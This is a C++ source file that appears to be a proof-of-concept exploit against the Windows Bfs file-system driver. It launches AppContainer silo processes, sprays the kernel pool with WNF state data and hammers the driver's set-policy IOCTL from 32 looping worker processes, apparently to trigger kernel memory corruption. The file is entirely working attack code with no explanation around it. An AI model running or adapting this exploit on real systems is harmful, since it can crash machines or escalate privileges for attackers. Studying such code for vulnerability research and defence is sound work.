#include <iostream>
#include <Windows.h>


#include "ntdll.h"
#pragma comment(lib, "ntdll")

#include "wnf.h"
#include "Bfs2.h"

PWSTR gProcessPath = NULL;

typedef HRESULT(WINAPI* __CreateAppContainerProfile)(
    _In_ PCWSTR pszAppContainerName,
    _In_ PCWSTR pszDisplayName,
    _In_ PCWSTR pszDescription,
    _In_reads_opt_(dwCapabilityCount) PSID_AND_ATTRIBUTES pCapabilities,
    _In_ DWORD dwCapabilityCount,
    _Outptr_ PSID* ppSidAppContainerSid);
typedef HRESULT(WINAPI* __DeriveAppContainerSidFromAppContainerName)(
    _In_ PCWSTR pszAppContainerName,
    _Outptr_ PSID* ppsidAppContainerSid);

typedef BOOL (WINAPI* __ConvertStringSecurityDescriptorToSecurityDescriptor)(
    _In_ LPCWSTR StringSecurityDescriptor,
    _In_ DWORD StringSDRevision,
    _Outptr_ PSECURITY_DESCRIPTOR* SecurityDescriptor,
    _Out_opt_ PULONG SecurityDescriptorSize);

__NtCreateWnfStateName NtCreateWnfStateName = NULL;
__NtUpdateWnfStateData NtUpdateWnfStateData = NULL;
__NtQueryWnfStateData NtQueryWnfStateData = NULL;
__NtDeleteWnfStateData NtDeleteWnfStateData = NULL;
__NtDeleteWnfStateName NtDeleteWnfStateName = NULL;

void CreateContainerIf(PSID* ppSidAppContainerSid, int index) {

    PCWSTR pszAppContainerName1 = L"Container_c82b2e04-432a-4767-a737-143733ee9f2";
    PCWSTR pszDisplayName1 = L"Container_c82b2e04-432a-4767-a737-143733ee9f28";
    PCWSTR pszDescription1 = L"This is Container_c82b2e04-432a-4767-a737-143733ee9f28.";

    WCHAR szAppContainerName[0x200] = { 0 };
    WCHAR szDisplayName[0x200] = { 0 };
    WCHAR szDescription[0x200] = { 0 };

    swprintf_s(szAppContainerName, 0x200, L"%ls_%d", pszAppContainerName1, index);
    swprintf_s(szDisplayName, 0x200, L"%ls_%d", pszDisplayName1, index);
    swprintf_s(szDescription, 0x200, L"%ls_%d", pszDescription1, index);

    HMODULE hUserenv = NULL;
    hUserenv = LoadLibraryA("Userenv.dll");

    __CreateAppContainerProfile _CreateAppContainerProfile = (__CreateAppContainerProfile)GetProcAddress(hUserenv, "CreateAppContainerProfile");
    __DeriveAppContainerSidFromAppContainerName _DeriveAppContainerSidFromAppContainerName = (__DeriveAppContainerSidFromAppContainerName)GetProcAddress(hUserenv, "DeriveAppContainerSidFromAppContainerName");
    HRESULT Hr = _CreateAppContainerProfile(szAppContainerName, szDisplayName, szDescription, NULL, 0, ppSidAppContainerSid);
    if (Hr == HRESULT_FROM_WIN32(ERROR_ALREADY_EXISTS)) {

        Hr = _DeriveAppContainerSidFromAppContainerName(szAppContainerName, ppSidAppContainerSid);
    }
}


struct _SiloSID
{
    unsigned __int8 Revision;
    unsigned __int8 SubAuthorityCount;
    _SID_IDENTIFIER_AUTHORITY IdentifierAuthority;
    unsigned int SubAuthority[2];
};

_SiloSID CreateAppSiloCapability() {
    _SiloSID SeAppSiloSid = { 0 };
    _SID_IDENTIFIER_AUTHORITY IdentifierAuthority = { 0 };

    IdentifierAuthority.Value[0] = 0;
    IdentifierAuthority.Value[1] = 0;
    IdentifierAuthority.Value[2] = 0;
    IdentifierAuthority.Value[3] = 0;
    IdentifierAuthority.Value[4] = 0;
    IdentifierAuthority.Value[5] = 0xF;

    InitializeSid(PSID(&SeAppSiloSid), &IdentifierAuthority, 2u);
    SeAppSiloSid.SubAuthority[0] = 3;
    SeAppSiloSid.SubAuthority[1] = 0x10000;

    return SeAppSiloSid;
}

struct _PROC_THREAD_ATTRIBUTE
{
    unsigned __int64 Attribute;
    unsigned __int64 Size;
    unsigned __int64 Value;
};


struct _PROC_THREAD_ATTRIBUTE_LIST
{
    unsigned int PresentFlags;
    unsigned int AttributeCount;
    unsigned int LastAttribute;
    unsigned int SpareUlong0;
    _PROC_THREAD_ATTRIBUTE* ExtendedFlagsAttribute;
    _PROC_THREAD_ATTRIBUTE Attributes[1];
};

void LaunchContainerApp(PSID pSidAppContainerSid, HANDLE* pProcessHandle, HANDLE* pThreadHandle) {
    STARTUPINFOEX si = { sizeof(si) };
    PROCESS_INFORMATION pi;
    SIZE_T size;
    SECURITY_CAPABILITIES sc = { 0 };
    sc.AppContainerSid = pSidAppContainerSid;

    SID_AND_ATTRIBUTES Capabilities[1] = { 0 };

    _SiloSID SeAppSiloSid = CreateAppSiloCapability();
    Capabilities[0].Sid = (PSID)(&SeAppSiloSid);
    Capabilities[0].Attributes = 0xf;


    sc.CapabilityCount = 1;
    sc.Capabilities = Capabilities;

    InitializeProcThreadAttributeList(nullptr, 1, 0, &size);
    BYTE* buffer = (BYTE*)malloc(size);
    memset(buffer, 0, size);

    si.lpAttributeList = reinterpret_cast<_PROC_THREAD_ATTRIBUTE_LIST*>(buffer);
    InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
    BOOL bResult = UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_SECURITY_CAPABILITIES, &sc, sizeof(sc), nullptr, nullptr);


    WCHAR szCommandLine[MAX_PATH];

    swprintf(szCommandLine, MAX_PATH, L"%ls -ContainerApp", gProcessPath);

    bResult = CreateProcess(nullptr, szCommandLine, nullptr, nullptr, FALSE, EXTENDED_STARTUPINFO_PRESENT, nullptr, nullptr, (LPSTARTUPINFO)&si, &pi);
    *pProcessHandle = pi.hProcess;
    *pThreadHandle = pi.hThread;
}

int LoadWnfApi()
{
    HMODULE hNtDll = NULL;
    hNtDll = LoadLibraryA("ntdll.dll");
    if (hNtDll == NULL)
    {
        printf("load ntdll failed!\r\n");
        return -1;
    }

    NtCreateWnfStateName = (__NtCreateWnfStateName)GetProcAddress(hNtDll, "NtCreateWnfStateName");
    NtUpdateWnfStateData = (__NtUpdateWnfStateData)GetProcAddress(hNtDll, "NtUpdateWnfStateData");
    NtQueryWnfStateData = (__NtQueryWnfStateData)GetProcAddress(hNtDll, "NtQueryWnfStateData");
    NtDeleteWnfStateData = (__NtDeleteWnfStateData)GetProcAddress(hNtDll, "NtDeleteWnfStateData");
    NtDeleteWnfStateName = (__NtDeleteWnfStateName)GetProcAddress(hNtDll, "NtDeleteWnfStateName");
    if (NtCreateWnfStateName == NULL ||
        NtUpdateWnfStateData == NULL ||
        NtQueryWnfStateData == NULL ||
        NtDeleteWnfStateData == NULL ||
        NtDeleteWnfStateName == NULL)
    {
        printf("not found  functions\r\n");
        return -1;
    }

    return 0;
}

WNF_STATE_NAME gStateNames[0x1000];
int gStateCount = 0x1000;

bool ExhaustPool2() {
    NTSTATUS Status = 0;
    char Entry[0x1000 - 0x10] = { 0 };
    PSECURITY_DESCRIPTOR pSD = NULL;

    WNF_STATE_NAME StateName;

    int DataCount = 0x1000;
    WNF_STATE_NAME StateNames[0x1000];

    HMODULE hModule = NULL;
    hModule = LoadLibraryA("advapi32.dll");

    __ConvertStringSecurityDescriptorToSecurityDescriptor ConvertStringSecurityDescriptorToSecurityDescriptor = (__ConvertStringSecurityDescriptorToSecurityDescriptor)GetProcAddress(hModule, "ConvertStringSecurityDescriptorToSecurityDescriptorW");
   
    if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"", 1, &pSD, nullptr))
    {
        return false;
    }

    printf("Consuming pool...\n");

    for (int i = 0; i < DataCount; ++i) {
        Status = NtCreateWnfStateName(&StateNames[i], WnfTemporaryStateName, WnfDataScopeUser, FALSE, NULL, OVER_STATEDATA_LENGTH, pSD);
        if (Status != 0)
        {
            printf("[-] ExhaustPool2 NtCreateWnfStateName2() Return Code: %x\n", Status);
            break;
        }
    }

    for (int i = 0; i < gStateCount; ++i) {
        Status = NtCreateWnfStateName(&gStateNames[i], WnfTemporaryStateName, WnfDataScopeUser, FALSE, NULL, OVER_STATEDATA_LENGTH, pSD);
        if (Status != 0)
        {
            printf("[-] ExhaustPool2 NtCreateWnfStateName2() Return Code: %x\n", Status);
            break;
        }
    }

    while (true)
    {
        Status = NtCreateWnfStateName(&StateName, WnfTemporaryStateName, WnfDataScopeUser, FALSE, NULL, OVER_STATEDATA_LENGTH, pSD);
        if (Status != 0)
        {
            printf("[-] ExhaustPool2 NtCreateWnfStateName2() Return Code: %x\n", Status);
            break;
        }

        Status = NtUpdateWnfStateData((PWNF_STATE_NAME)&StateName, &Entry, sizeof(Entry), NULL, NULL, NULL, 0);
        if (Status != 0)
        {
            printf("[-] ExhaustPool2 NtUpdateWnfStateData2() Return Code: %x\n", Status);
            break;
        }
    }

    for (int i = 0; i < DataCount; ++i){

        Status = NtUpdateWnfStateData((PWNF_STATE_NAME)&StateNames[i], &Entry, 0xc8 - 0x10, NULL, NULL, NULL, 0);
        if (Status != 0)
        {
            printf("[-] ExhaustPool2 NtUpdateWnfStateData2() Return Code: %x\n", Status);
            break;
        }
    }

    if (pSD)
    {
        LocalFree(pSD);
    }

    return true;
}


HANDLE OpenDevice() {
    UNICODE_STRING usDevice = { 0 };

    RtlInitUnicodeString(&usDevice, (PWSTR)L"\\device\\Bfs");

    OBJECT_ATTRIBUTES ObjectAttributes = { 0 };
    InitializeObjectAttributes(&ObjectAttributes, &usDevice, OBJ_CASE_INSENSITIVE, NULL, NULL);

    IO_STATUS_BLOCK IoStatusBlock = { 0 };

    HANDLE hDevice = NULL;
    NTSTATUS status = NtOpenFile(&hDevice, FILE_READ_DATA | FILE_WRITE_DATA, &ObjectAttributes, &IoStatusBlock, 0, 0);

    if (STATUS_SUCCESS != status) {
        printf("[-] NtOpenFile() Return Code: %x\n", status);
        printf("please check if the bfs service is running.\n");
        getchar();
        ExitProcess(1);
    }

    return hDevice;
}

HANDLE  ghDevice            = NULL;
DWORD   gInputBufferLength  = 100;
PVOID   gInputBuffer        = NULL;

DWORD   gOutputBufferLength = 100;
PVOID   gOutputBuffer       = NULL;
HANDLE  gTokenHandle        = NULL;

WCHAR gszSystemDir[MAX_PATH + 1] = { 0 };
WCHAR gszFilePath[MAX_PATH + 1] = { 0 };

void SendPrepare() {
    ghDevice = OpenDevice();

    gInputBuffer = malloc(gInputBufferLength);
    gOutputBuffer = malloc(gOutputBufferLength);

    memset(gInputBuffer, 0, gInputBufferLength);
    memset(gOutputBuffer, 0, gOutputBufferLength);

    UINT uResult = GetSystemDirectoryW(gszSystemDir, MAX_PATH);
    swprintf_s(gszFilePath, MAX_PATH, L"\\??\\%s\\kernel32.dll", gszSystemDir);

    _BFS_SET_POLICY* Policy = (_BFS_SET_POLICY*)gInputBuffer;

    Policy->TokenHandle = gTokenHandle;
    Policy->FileType = 1;
    Policy->PolicyValue = 2;
    Policy->PolicyFlags = 0xf;
    Policy->OperationType = 1;

    RtlInitUnicodeString(&(Policy->usFilePath), gszFilePath);

    LoadWnfApi();
}

int SendSetPolicyRequest(ULONG OperationType) {

    IO_STATUS_BLOCK IoStatusBlock = { 0 };

    _BFS_SET_POLICY* Policy = (_BFS_SET_POLICY*)gInputBuffer;
    Policy->OperationType = OperationType;

    NTSTATUS Status = NtDeviceIoControlFile(
        ghDevice,
        NULL,
        NULL,
        NULL,
        &IoStatusBlock,
        0x228004,
        gInputBuffer,
        gInputBufferLength,
        gOutputBuffer,
        gOutputBufferLength);
    //printf("Status=0x%x\t\tGle=0x%x\t\tReturnBytes=0x%x\n", Status, GetLastError(), IoStatusBlock.Information);
    return Status;
}

void SiloMain() {
    //getchar();
}

void SendRequest() {
    NTSTATUS Status = 0;
    char Entry[0xc8 - 0x10] = { 0 };
    int i = 0;
    while (true) {
        if(i < gStateCount) {
            if (NtUpdateWnfStateData((PWNF_STATE_NAME)&gStateNames[i++], &Entry, sizeof(Entry), NULL, NULL, NULL, 0))
            {
                if (!SendSetPolicyRequest(3))
                {
                    break;
                }
            }
        }
        else {
            if (!SendSetPolicyRequest(3))
            {
                break;
            }
        }
    }
}

void HostWorkerMain() {
    int index = 0;
    PSID pSidAppContainerSid = NULL;
    index = GetCurrentProcessId();
    CreateContainerIf(&pSidAppContainerSid, index);
    printf("appsilo index = %d\n", index);
    HANDLE ProcessHandle = NULL;
    HANDLE ThreadHandle = NULL;
    
    LaunchContainerApp(pSidAppContainerSid, &ProcessHandle, &ThreadHandle);
    OpenProcessToken(ProcessHandle, TOKEN_ALL_ACCESS, &gTokenHandle);
    WaitForSingleObject(ProcessHandle, INFINITE);

    SendPrepare();
    
    ExhaustPool2();
    printf("ExhaustPool returned.\n");

    SendRequest();

    CloseHandle(gTokenHandle);
    CloseHandle(ProcessHandle);
}

HANDLE CreateWorkerProcess() {
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi;
    WCHAR szCommandLine[MAX_PATH + 1];
    swprintf(szCommandLine, MAX_PATH, L"%ls -Host -Worker",gProcessPath);

    bool bResult = CreateProcess(nullptr, szCommandLine, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &si, &pi);
    return pi.hProcess;
}

HANDLE CreateHostProcess() {
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi;
    WCHAR szCommandLine[MAX_PATH + 1];
    swprintf(szCommandLine, MAX_PATH, L"%ls", gProcessPath);

    bool bResult = CreateProcess(nullptr, szCommandLine, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &si, &pi);
    return pi.hProcess;
}


void HostMain() {
    int index = 0;
    int WorkerCount = 32;
    HANDLE ProcessHandles[100];

    for (int i = 0; i < WorkerCount; ++i) {
        ProcessHandles[i] = CreateWorkerProcess();
    }

    while (true) {

        DWORD dwRet = WaitForMultipleObjects(WorkerCount, ProcessHandles, FALSE, INFINITE);

        ProcessHandles[dwRet - WAIT_OBJECT_0] = CreateWorkerProcess();
    }
}

void Test() {
    SendPrepare();
}

int wmain(int argc, WCHAR* argv[])
{
    //Test();

    gProcessPath = argv[0];

    if (argc == 1) {
        HostMain();
    }
    else if (argc == 2) {
        SiloMain();
    }
    else {
        HostWorkerMain();
    }
}